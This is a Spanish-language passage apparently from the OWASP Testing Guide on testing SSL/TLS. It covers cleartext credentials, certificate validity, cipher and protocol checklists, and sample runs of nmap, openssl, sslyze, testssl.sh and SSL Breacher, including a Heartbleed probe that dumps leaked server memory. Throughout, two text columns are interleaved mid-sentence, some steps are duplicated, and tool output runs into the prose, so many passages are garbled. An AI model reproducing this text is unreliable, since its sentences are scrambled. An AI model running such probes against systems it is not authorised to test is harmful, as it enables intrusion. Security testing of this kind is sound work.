ataque y pueden existir las siguientes vulnerabilidades:
Brevemente, los puntos clave para la determinación de la suite de cifrado son las
• Los protocolos SSL/TLS, cifrados, claves y renegociación, deben estar siguientes:
correctamente configurados.
• La validez del certificado debe estar garantizada.

[1] El cliente envía al servidor un mensaje ClientHello, especificando, entre
otros datos, el protocolo y las suites de cifrado que puede manejar. Tome en
cuenta que un cliente es generalmente un navegador web (actualmente, el más
Otras vulnerabilidades vinculadas a esto son: popular es un cliente SSL), pero no necesariamente, ya que puede ser
cualquier aplicación habilitada para SSL; lo mismo se aplica para el servidor,
que puede no ser un servidor web, aunque este es el caso más común [9].
• Debe actualizarse el software expuesto debido a la posibilidad de vulnerabilidades

conocidas [4].
[2] El servidor responde con un mensaje de ServerHello, que contiene la suite
• Use banderas de seguridad para las Cookies de sesión [5]. de protocolo y algoritmo de cifrado elegidos que serán utilizados para esta
sesión (generalmente el servidor selecciona la suite de protocolo y algoritmo
• El uso de Seguridad estricta de transporte HTTP (HSTS) [6]. de cifrado más fuerte que soporta tanto el cliente como el servidor).
• La presencia tanto de HTTP como HTTPS, lo cual se puede utilizar también para
interceptar tráfico [7], [8].
Es posible (por ejemplo, por medio de las directivas de configuración)
• La presencia de contenido mezclado de HTTPS y HTTP en la misma página, lo especificar qué suites de cifrado el servidor obedecerá. De esta manera, usted
cual puede usarse para filtrar información. puede controlar si las conversaciones con los clientes aceptarán solamente un
cifrado de 40 bits.
Datos sensibles transmitidos en texto transparente

[1] El servidor envía su mensaje de certificado y, si requiere autenticación del
cliente, también envía un mensaje de CertificateRequest al cliente.

248
• Cada navegador viene con una lista previamente cargada de CA de confianza,

contra la cual se compara el certificado de firma de CA (esta lista se puede
[2] El servidor envía un mensaje ServerHelloDone y espera una respuesta del personalizar y ampliar a voluntad). Durante las negociaciones iniciales con un
cliente. servidor HTTPS, si el certificado del servidor se refiere a una entidad
desconocida para el navegador, se genera una advertencia. Esto sucede más a
menudo debido a que una aplicación web se basa en un certificado firmado por
una CA autoestablecida. Si debe considerarse esto como un problema, depende
[3] Al recibir el mensaje de ServerHelloDone, el cliente verifica la validez del de varios factores. Por ejemplo, esto puede estar bien para un entorno de Intranet
certificado digital del servidor. (piense en correo web corporativo que se proporciona vía HTTPS; aquí,
obviamente, todos los usuarios reconocen la CA interna como una CA de
confianza). Sin embargo, cuando se proporciona un servicio vía Internet al
público en general, (es decir, cuando es importante verificar positivamente la
Validez del certificado SSL – cliente y servidor identidad del servidor con el cual nos comunicamos), generalmente es
imprescindible contar con una CA de confianza, que es reconocida por toda la
Al acceder a una aplicación web mediante el protocolo HTTPS, se establece base de usuarios (y aquí paramos nuestras observaciones; no ahondamos más en
un canal seguro entre el cliente y el servidor. Luego se establece la identidad lo que implica el modelo de confianza utilizado para certificados digitales).
de uno (el servidor) o de ambas partes (cliente y servidor) por medio de
certificados digitales. Así, una vez determinada la suite de cifrado, el "SSL
Handshake" continúa con el intercambio de los certificados:
• Los certificados tienen un período de validez asociado, por lo tanto, pueden
expirar. Una vez más, se nos advierte mediante el explorador sobre esto. Un
servicio público necesita un certificado temporal válido; de lo contrario, significa
[1] El servidor envía su mensaje de certificado y, si se requiere autenticación que estamos hablando con un servidor cuyo certificado fue emitido por alguien
de cliente, también envía al cliente un mensaje de CertificateRequest. de confianza, pero caducó y no ha sido renovado.
[2] El servidor envía un mensaje ServerHelloDone y espera una respuesta del • ¿Qué pasa si el nombre en el certificado y el nombre del servidor no coinciden?
cliente. Si esto sucede, puede sonar sospechoso. Por varias razones, esto no es tan raro
de ver. Un sistema puede albergar un número de hosts virtuales basados en el
nombre, que comparten la misma dirección IP y se identifican mediante el HTTP
1.1 Host: header information. En este caso, puesto que el protocolo de enlace
[3] Al recibir el mensaje de ServerHelloDone, el cliente verifica la validez del
SSL comprueba el certificado del servidor antes de que se procese la petición
certificado digital del servidor.
HTTP, no es posible asignar certificados diferentes a cada servidor virtual. Por
lo tanto, si el nombre del sitio y el nombre registrado en el certificado no
coinciden, tenemos una condición que típicamente se señala por parte del
navegador. Para evitar esto, deben utilizarse servidores virtuales basados en IP.
Para que la comunicación se establezca, se debe pasar una serie de controles
[33] y [34] describen técnicas para lidiar con este problema y permitir que los
sobre los certificados. Aunque hablar de la autenticación basada en SSL y
hosts virtuales basados en el nombre estén correctamente referenciados.
certificados está más allá del alcance de esta guía, esta sección se centrará en
los principales criterios involucrados en determinar la validez del certificado:
Otras vulnerabilidades
• Compruebe si la autoridad de certificación (CA) es conocida (es decir, una que
La presencia de un nuevo servicio, que escucha en un puerto tcp separado, puede
se considera de confianza);
generar vulnerabilidades tales como las de infraestructura si el software no está
actualizado [4]. Además, para la correcta protección de datos durante la
• Compruebe que el certificado es válido;
transmisión, la Cookie de sesión debe usar la bandera de seguridad [5] y algunas
directivas deben enviarse al navegador para aceptar sólo tráfico seguro (HSTS
• Compruebe que el nombre del sitio y el nombre registrado en el certificado
[6], CSP).
concuerden.
También hay algunos ataques que pueden utilizarse para interceptar el tráfico si
Vamos a examinar cada comprobación más detalladamente.
el servidor web expone la solicitud HTTP y HTTPS [6], [7] o en el caso de
recursos HTTP y HTTPS mezclados en la misma página.

249
Cómo probar Al momento de escribir este documento, estos criterios son ampliamente
reconocidos como una lista de verificación mínima:
Prueba de transmisión de datos sensibles en texto claro
Diversos tipos de información que deben ser protegidos pueden transmitirse

también en texto claro. Es posible verificar si esta información se transmite a • No deben utilizarse cifrados débiles (por ejemplo, menos de 128 bits [10]; sin
través de HTTP en lugar de HTTPS. Por favor, consulte las pruebas suites de cifrado NULL, debido a que no utilizan encriptado; sin Anonymous
específicas para ver detalles completos, de credenciales [3] y otro tipo de Diffie-Hellmann, debido a que no provee autenticación).
datos [2].
• Los protocolos débiles deben desactivarse (por ejemplo: SSLv2 debe desactivarse
debido a las debilidades conocidas en el diseño del protocolo [11]).
Ejemplo 1. Autenticación básica en HTTP • La renegociación debe estar configurada correctamente (por ejemplo: Insecure
Renegotiation debe desactivarse, debido a ataques MiTM [12] y las
Un ejemplo típico es el uso de autenticación básica en HTTP porque con la renegociaciones iniciadas por el cliente deben desactivarse, debido a la
autenticación básica, después de iniciar sesión, las credenciales son vulnerabilidad de Negación de Servicio [13]).
codificadas - y no cifradas - en las cabeceras HTTP.
• No deben haber suites de nivel de cifrado Export (EXP), debido a que puede ser
$ curl -kis http://example.com/restricted/ fácilmente roto [10].
HTTP/1.1 401 Authorization Required • La longuitud de claves de los certificados X.509 deben ser fuertes (por ejemplo si
se utiliza RSA o DSA la clave debe ser de al menos 2048 bits).
Date: Fri, 01 Aug 2013 00:00:00 GMT
• Los certificados X.509 deben firmarse únicamente con algoritmos de hashing
WWW-Authenticate: Basic realm=”Restricted Area” seguros (por ejemplo. sin firma al usar MD5 hash, debido a a ataques de colisión
en este hash).
• Las claves deben generarse con la correcta entropía (e.g, Claves débiles generadas
Vary: Accept-Encoding con Debian) [14].
Content-Length: 162
Content-Type: text/html Un lista de control más completo incluye:
<html><head><title>401 Authorization Required</title></head> • La renegociación segura debe estar habilitada.
<body bgcolor=white> • MD5 no debe usarse, debido a los ataques de colisión conocidos. [35]
<h1>401 Authorization Required</h1> • RC4 no debe usarse, debido a los ataques cripto-analíticos [15].
• El servidor debe estar protegido de ataques BEAST [16].
• El servidor debe estar protegido de ataques CRIME, la compresión TLS debe

Invalid login credentials!
estar deshabilitada [17].
• El servidor debe soportar Forward Secrecy [18].

</body></html>
Las siguientes normas pueden ser utilizadas como referencia mientras se
evalúan los servidores SSL:
Prueba de vulnerabilidades de SSL/TLS Ciphers/Protocolos/Claves
• PCI-DSS v2.0 en el punto 4.1 requiere que las partes compatibles utilicen
La gran cantidad de suites de cifrado disponible y el rápido progreso en
«criptografía fuerte» sin definir precisamente los algoritmos y longitudes de las
criptoanálisis hacen de las pruebas del servidor SSL una tarea nada trivial.
claves. La interpretación común, basada parcialmente en las versiones anteriores de

250
la norma, es que el cifrado de la clave sea de al menos 128 bits, sin algoritmos de 22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)
exportación fuertes y sin usar SSLv2 [19].
25/tcp open smtp syn-ack Exim smtpd 4.80
• Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] y
SSL Threat Model [20] han sido propuestos para estandarizar la configuración y 26/tcp open smtp syn-ack Exim smtpd 4.80
evaluación de servidor SSL. Pero está menos actualizada que SSL Server tool [21].
80/tcp open http syn-ack
• OWASP tiene un gran cantidad de recursos para SSL/TLS Security [22], [23],
[24], [25]. [26]. 110/tcp open pop3 syn-ack Dovecot pop3d
Algunas herramientas y escáneres tanto libres (por ejemplo SSLAudit [28] o 143/tcp open imap syn-ack Dovecot imapd
SSLScan [29]) como comerciales (por ejemplo Tenable Nessus [27]), pueden
utilizarse para evaluar las vulnerabilidades SSL/TLS. Pero debido a la evolución de 443/tcp open ssl/http syn-ack Apache
estas vulnerabilidades, una buena manera de probar es comprobar manualmente
con openssl [30] o utilice las herramientas de salida como ingreso para la 465/tcp open ssl/smtp syn-ack Exim smtpd 4.80
evaluación manual usando las referencias.
993/tcp open ssl/imap syn-ack Dovecot imapd
995/tcp open ssl/pop3 syn-ack Dovecot pop3d

A veces, el servicio SSL/TLS habilitado no es directamente accesible y el
evaluador puede acceder a él a través de un proxy HTTP utilizando el método Service Info: Hosts: example.com
CONNECT [36]. La mayoría de las herramientas intentarán conectarse al puerto
tcp deseado para iniciar el protocolo de enlace SSL/TLS. Esto no funcionará ya que Service detection performed. Please report any incorrect results at
el puerto deseado es accesible sólo a través de proxy HTTP. El evaluador http://nmap.org/submit/ .
fácilmente puede evitar esto usando software de reemplazo como socat [37].
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds
Ejemplo 2. reconocimiento de servicio SSL mediante nmap

Ejemplo 3. Comprobando la información del certificado, cifrados débiles
El primer paso es identificar los puertos que tienen atados servicios SSL/TLS. Los y SSLv2 vía nmap
puertos tcp con SSL para los servicios web y correo son normalmente - pero no
limitados a - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop). Nmap tiene dos secuencias de comandos para comprobar la información del
certificado, Weak Ciphers and SSLv2 [31].
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995

En este ejemplo buscamos servicios SSL usando nmap con la opción "-sV", que se www.example.com
utiliza para identificar servicios y también es capaz de identificar los servicios SSL
[31]. Otras opciones, para este ejemplo en particular, deben ser personalizadas. A Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST
menudo, en una prueba de penetración de aplicaciones web, el alcance se limita al
puerto 80 y 443. Nmap scan report for www.example.com (127.0.0.1)
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com Host is up (0.090s latency).
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST rDNS record for 127.0.0.1: www.example.com
Nmap scan report for www.example.com (127.0.0.1) PORT STATE SERVICE
Host is up, received user-set (0.20s latency). 443/tcp open https
Not shown: 89 filtered ports | ssl-cert: Subject: commonName=www.example.org
Reason: 89 no-responses | Issuer: commonName=*******
PORT STATE SERVICE REASON VERSION | Public Key type: rsa
21/tcp open ftp syn-ack Pure-FTPd | Public Key bits: 1024

251
| Not valid before: 2010-01-23T00:00:00+00:00 | ssl-enum-ciphers:
| Not valid after: 2020-02-28T23:59:59+00:00 | SSLv3:
| MD5: ******* | ciphers:
|_SHA-1: ******* | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| ssl-enum-ciphers: | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| SSLv3: | TLS_RSA_WITH_RC4_128_SHA - strong
| ciphers: | compressors:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong | NULL
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong | TLSv1.0:
| TLS_RSA_WITH_RC4_128_SHA - strong | ciphers:
| compressors: | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| NULL | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLSv1.0: | TLS_RSA_WITH_RC4_128_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong |_ least strength: strong
| TLS_RSA_WITH_RC4_128_SHA - strong 993/tcp open imaps
| compressors: | ssl-cert: Subject: commonName=*.exapmple.com
| NULL | Issuer: commonName=*******
|_ least strength: strong | Public Key type: rsa
465/tcp open smtps | Public Key bits: 2048
| ssl-cert: Subject: commonName=*.exapmple.com | Not valid before: 2010-01-23T00:00:00+00:00
| Issuer: commonName=******* | Not valid after: 2020-02-28T23:59:59+00:00
| Public Key type: rsa | MD5: *******
| Public Key bits: 2048 |_SHA-1: *******
| Not valid before: 2010-01-23T00:00:00+00:00 | ssl-enum-ciphers:
| Not valid after: 2020-02-28T23:59:59+00:00 | SSLv3:
| MD5: ******* | ciphers:
|_SHA-1: ******* | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong

252
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong | TLSv1.0:
| TLS_RSA_WITH_RC4_128_SHA - strong | ciphers:
| compressors: | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| NULL | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLSv1.0: | TLS_RSA_WITH_RC4_128_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong |_ least strength: strong
| TLS_RSA_WITH_RC4_128_SHA - strong Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds
| compressors:
| NULL Ejemplo 4 Compruebe la renegociación iniciada por el cliente y la

renegociación de seguridad mediante openssl (manualmente)
|_ least strength: strong
Openssl [30] puede ser utilizado para pruebas manuales de SSL/TLS. En este
995/tcp open pop3s ejemplo, el evaluador intenta iniciar una renegociación por parte del cliente
[m] conectándose al servidor con openssl. El evaluador escribe entonces la
| ssl-cert: Subject: commonName=*.exapmple.com primera línea de una solicitud HTTP y escribe "R" en una nueva línea. Espera
una renegociación y cierre de la solicitud HTTP y comprueba si la
| Issuer: commonName=******* renegociación segura es compatible mirando el resultado del servidor. Usando
peticiones manuales también es posible ver si está habilitada la compresión de
| Public Key type: rsa TLS y comprobar el CRIME [13], cifrado y otras vulnerabilidades.
| Public Key bits: 2048 $ openssl s_client -connect www2.example.com:443
| Not valid before: 2010-01-23T00:00:00+00:00 CONNECTED(00000003)
| Not valid after: 2020-02-28T23:59:59+00:00 depth=2 ******
| MD5: ******* verify error:num=20:unable to get local issuer certificate
|_SHA-1: ******* verify return:0
| ssl-enum-ciphers: ---
| SSLv3: Certificate chain
| ciphers: 0 s:******
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong i:******
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong 1 s:******
| TLS_RSA_WITH_RC4_128_SHA - strong i:******
| compressors: 2 s:******
| NULL i:******

253
--- Verify return code: 20 (unable to get local issuer certificate)
Server certificate
-----BEGIN CERTIFICATE----- Ahora el evaluador puede escribir la primera línea de una solicitud HTTP y
luego R en una nueva línea.
******
HEAD / HTTP/1.1
-----END CERTIFICATE-----
R
subject=******
issuer=******
El servidor renegocia
---
RENEGOTIATING
No client certificate CA names sent
depth=2 C******
---
verify error:num=20:unable to get local issuer certificate
SSL handshake has read 3558 bytes and written 640 bytes
verify return:0
---
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA

Y el evaluador puede completar la solicitud, comprobando la respuesta.
Server public key is 2048 bit
Incluso si HEAD no está permitida, se permite la renegociación iniciada por el
Secure Renegotiation IS NOT supported cliente.
HEAD / HTTP/1.1
Compression: NONE
Expansion: NONE
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource
SSL-Session:
Locator (URL). Contact the server administrator. )
Protocol : TLSv1
Connection: close
Cipher : DES-CBC3-SHA
Pragma: no-cache
Session-ID: ******
Session-ID-ctx:
Master-Key: ******
Content-Length: 1792
Key-Arg : None
PSK identity: None

read:errno=0
PSK identity hint: None
SRP username: None

Ejemplo 5. Prueba de las suites de cifrado soportadas contra ataques
BEAST y CRIME mediante TestSSLServer
Start Time: ******
TestSSLServer [32] es un script que permite al evaluador comprobar la suite de

Timeout : 300 (sec)
cifrado y también los ataques de CRIME y BEAST. BEAST (Browser Exploit

254
Against SSL/TLS) aprovecha una vulnerabilidad de CBC en TLS 1.0. CRIME DHE_RSA_WITH_3DES_EDE_CBC_SHA
(Compression Ratio Info-leak Made Easy) explota una vulnerabilidad de la
compresión de TLS, que debe deshabilitarse. Lo interesante es que la primera RSA_WITH_AES_128_CBC_SHA
solución para BEAST era el uso de RC4, pero esto ahora no es aconsejable debido
a los ataque criptoanalíticos a RC4 [15]. DHE_RSA_WITH_AES_128_CBC_SHA
RSA_WITH_AES_256_CBC_SHA
Una herramienta en línea para comprobar estos ataques es SSL Labs, pero puede DHE_RSA_WITH_AES_256_CBC_SHA
ser utilizada sólo con servidores de internet. También tome en cuenta que los datos
que se buscan se almacenarán en el servidor SSL Labs y también resultará alguna RSA_WITH_AES_128_CBC_SHA256
conexión de servidor de SSL Labs [21].
RSA_WITH_AES_256_CBC_SHA256
$ java -jar TestSSLServer.jar www3.example.com 443
RSA_WITH_CAMELLIA_128_CBC_SHA
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
Deflate compression: no
DHE_RSA_WITH_AES_128_CBC_SHA256
Supported cipher suites (ORDER IS NOT SIGNIFICANT):
DHE_RSA_WITH_AES_256_CBC_SHA256
SSLv3
RSA_WITH_RC4_128_SHA
RSA_WITH_3DES_EDE_CBC_SHA
TLS_RSA_WITH_SEED_CBC_SHA
DHE_RSA_WITH_3DES_EDE_CBC_SHA
TLS_DHE_RSA_WITH_SEED_CBC_SHA
TLS_RSA_WITH_AES_128_GCM_SHA256
DHE_RSA_WITH_AES_128_CBC_SHA
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
DHE_RSA_WITH_AES_256_CBC_SHA
----------------------
Server certificate(s):
******
----------------------
TLS_RSA_WITH_SEED_CBC_SHA
Minimal encryption strength: strong encryption (96-bit or more)
TLS_DHE_RSA_WITH_SEED_CBC_SHA
Achievable encryption strength: strong encryption (96-bit or more)
(TLSv1.0: idem)
BEAST status: vulnerable
(TLSv1.1: idem)
CRIME status: protected
TLSv1.2
RSA_WITH_RC4_128_SHA
Ejemplo 6. Prueba de vulnerabilidades SSL/TLS con sslyze
RSA_WITH_3DES_EDE_CBC_SHA
255
Sslyze [33] es un python script que permite el escaneo masivo y resultados XML. Client-initiated Renegotiations: Rejected
El siguiente es un ejemplo de un escaneo normal. Es una de las herramientas más
completas y versátiles para SSL/TLS testing Secure Renegotiation: Supported
./sslyze.py --regular example.com:443
* Certificate :
REGISTERING AVAILABLE PLUGINS Validation w/ Mozilla’s CA Store: Certificate is NOT Trusted: unable to
get local issuer certificate
-----------------------------
Hostname Validation: MISMATCH
SHA1 Fingerprint: ******

PluginHSTS
PluginSessionRenegotiation
Common Name: www.example.com
PluginCertInfo
Issuer: ******
PluginSessionResumption
Serial Number: ****
PluginOpenSSLCipherSuites
Not Before: Sep 26 00:00:00 2010 GMT
PluginCompression
Not After: Sep 26 23:59:59 2020 GMT
Signature Algorithm: sha1WithRSAEncryption

CHECKING HOST(S) AVAILABILITY
Key Size: 1024 bit
-----------------------------
X509v3 Subject Alternative Name: {‘othername’: [‘<unsupported>’],
‘DNS’: [‘www.example.com’]}
example.com:443 => 127.0.0.1:443
* OCSP Stapling :
Server did not send back an OCSP response.
SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443 * Session Resumption :
--------------------------------------------------- With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total

attempts).
With TLS Session Tickets: Supported

* Compression :
Compression Support: Disabled

* SSLV2 Cipher Suites :
* Session Renegotiation :

256
Rejected Cipher Suite(s): Hidden
Undefined - An unexpected error happened:
Preferred Cipher Suite: None ECDH-RSA-AES256-SHA socket.timeout - timed out
ECDH-ECDSA-AES256-SHA socket.timeout - timed out
Accepted Cipher Suite(s): None
* TLSV1_2 Cipher Suites :
Undefined - An unexpected error happened: None
* SSLV3 Cipher Suites :
Preferred Cipher Suite: None
Preferred Cipher Suite:
RC4-SHA 128 bits HTTP 200 OK Undefined - An unexpected error happened:
ECDH-RSA-AES256-GCM-SHA384 socket.timeout - timed out
Accepted Cipher Suite(s): ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out
CAMELLIA256-SHA 256 bits HTTP 200 OK
RC4-SHA 128 bits HTTP 200 OK * TLSV1 Cipher Suites :
Undefined - An unexpected error happened: None
Preferred Cipher Suite:
* TLSV1_1 Cipher Suites : RC4-SHA 128 bits Timeout on HTTP GET
Rejected Cipher Suite(s): Hidden Accepted Cipher Suite(s):
Preferred Cipher Suite: None RC4-SHA 128 bits HTTP 200 OK

257
Undefined - An unexpected error happened:
ADH-CAMELLIA256-SHA socket.timeout - timed out
Testing now (2014-04-17 15:06) ---> owasp.org:443 <---
(“owasp.org” resolves to “192.237.166.62 /

2001:4801:7821:77:cd2c:d9de:ff10:170e”)
--> Protocolos de prueba

SCAN COMPLETED IN 9.68 S
------------------------
SSLv2 NOT offered (ok)
SSLv3 offered
Ejemplo 7. Prueba SSL/TLS con testssl.sh
TLSv1 offered (ok)
Testssl.sh [38] es un shell script de Linux que proporciona un resultado claro para
facilitar la toma de decisiones. No solo puede revisar servidores web, pero también TLSv1.1 offered (ok)
servicios en otros puertos, soporta STARTTLS, SNI, SPDY y realiza algunas
revisiones en los encabezados HTTP también. TLSv1.2 offered (ok)
Es una herramienta muy fácil de usar. A continuación verá algunos ejemplos de SPDY/NPN not offered
resultados (sin colores):
user@myhost: % testssl.sh owasp.org

--> Probando el listado estandard de cifrado
########################################################
Null Cipher NOT offered (ok)
testssl.sh v2.0rc3 (https://testssl.sh)
Anonymous NULL Cipher NOT offered (ok)
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)
Anonymous DH Cipher NOT offered (ok)
40 Bit encryption NOT offered (ok)

Este programa es software libre. Redistribución + modificación bajo el
GPLv2 está permitido. 56 Bit encryption NOT offered (ok)
USO SIN NINGUNA GARANTIA. USELO BAJO SU PROPIO RIESGO! Export Cipher (general) NOT offered (ok)
Low (<=64 Bit) NOT offered (ok)
Note que solo puede revisar el servidor comparandolo con lo que está DES Cipher NOT offered (ok)
disponible (codificadores/protocolos) localmente en su maquina
Triple DES Cipher offered
########################################################
Medium grade encryption offered
High grade encryption offered (ok)

Usando “OpenSSL 1.0.2-beta1 24 Feb 2014” en
“myhost:/<mypath>/bin/openssl64”
--> Probando el servidor por defecto (Server Hello)
258
Negotiated protocol TLSv1.2 --> Testing (Perfect) Forward Secrecy (P)FS)
Negotiated cipher AES128-GCM-SHA256
no PFS available
Server key size 2048 bit
TLS server extensions: server name, renegotiation info, session ticket, Done now (2014-04-17 15:07) ---> owasp.org:443 <---
heartbeat
Session Tickets RFC 5077 300 seconds

user@myhost: %
--> Probando vulnerabilidades específicas

STARTTLS será probado mediante testssl.sh -t smtp.gmail.com:587 smtp,
cada cifrado con testssl -e <target>, cada cifrado por protocolo con testssl -E
<target>. Solo para mostrar que cifradores locales están instalados para
Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok) openssl, vea testssl -V. Para una revisión detallada, es mejor tirar los binarios
OpenSSL entregados en la ruta o el de testssl.sh.
Renegotiation (CVE 2009-3555) NOT vulnerable (ok)
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok)

Lo interesante , si un evaluador mira las fuentes, es aprender cómo se analizan
las características; véase el ejemplo 4. Lo mejor es el protocolo entero de
conexión con heartbleed en /bin/bash con /dev/tcp sockets puro -- sin
--> Revisando el cifrado RC4 piggyback perl/python/you name it.
El RC4 parece generalmente disponible. Ahora pruebe cifrados específicos... Además, proporciona un prototipo (vía "testssl.sh -V") del mapeo de nombres
de suites de cifrado RFC a OpenSSL. El evaluador necesita el archivo
mapping-rfc.txt en el mismo directorio.
Hexcode Cipher Name KeyExch. Encryption Bits
-------------------------------------------------------------------- Ejemplo 8. Pruebe el SSL/TLS con SSL Breacher
[0x05] RC4-SHA RSA RC4 128 Esta herramienta [99] es una combinación de varias herramientas con algunas
comprobaciones adicionales para complementar y hacer a las pruebas más
completas SSL. Soporta los siguientes controles:
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a
• HeartBleed
• ChangeCipherSpec Injection
--> Probando respuestas de encabezados HTTP
• BREACH
• BEAST
HSTS no
• Forward Secrecy support
Server Apache
• RC4 support
Application (None)
259
• CRIME & TIME (si se detecta CRIME, también se reporta TIME) Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)
• Lucky13 Expiration Date: Sat Nov 09 07:48:47 SGT 2019
• HSTS: Revise la implementación de encabezados HSTS Signature Hash Algorithm: SHA1withRSA
• HSTS: Duración razonable de MAX-AGE Public key: Sun RSA public key, 1024 bits
• HSTS: Revise el soporte de SubDomains modulus:

135632964843555009910164098161004086259135236815846778903941582882
• Certificados expirados 908611097021488277565732851712895057227849656364886898196239901879
569635659861770850920241178222686670162318147175328086853962427921
• Longitud de claves públicas insuficientes
575656093414000691131757099663322369656756090030190369923050306668
778534926124693591013220754558036175189121517
• Host-name no existente
public exponent: 65537

• Algoritmos de hashing débiles e inseguros (MD2, MD4, MD5)
• Soporte SSLv2 Signed for: CN=localhost
• Revisión de cifradores débiles Signed by: CN=localhost
• Prefijos Null en el certificado Total certificate chain: 1
• HTTPS Stripping
• Surf Jacking (Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.)
• Elementos y contenidos no SSL incrustados en paginas SSL
• Cache-Control =====================================
pentester@r00ting: % breacher.sh https://localhost/login.php
Certificate Validation:
===============================
Host Info: [!] Signed using Insufficient public key length 1024 bits
============== (Refer to http://www.keylength.com/ for details)
Host : localhost [!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java
ROOT CAs.
Port : 443
Path : /login.php
=====================================
Loading module: Hut3 Cardiac Arrest ...
Certificate Info:
Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...
==================

260
[-] Connecting to 127.0.0.1:443 using SSLv3 0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...
[-] Sending ClientHello 02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
[-] ServerHello received 02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
[-] Sending Heartbeat 0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....
vulnerable over SSLv3
[-] Displaying response (lines consisting entirely of null bytes are removed):
[-] Closing connection
0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
[-] Connecting to 127.0.0.1:443 using TLSv1.0
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........
[-] Sending ClientHello
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
[-] ServerHello received
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.”.
[-] Sending Heartbeat
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.’.(.).*.
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2. vulnerable over TLSv1.0
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:. [-] Displaying response (lines consisting entirely of null bytes are removed):
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c. 0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k. 0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m............. 0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.”.#.$.%.&.’. 0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.”.
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../. 0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.’.(.).*.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7. 0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?. 0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
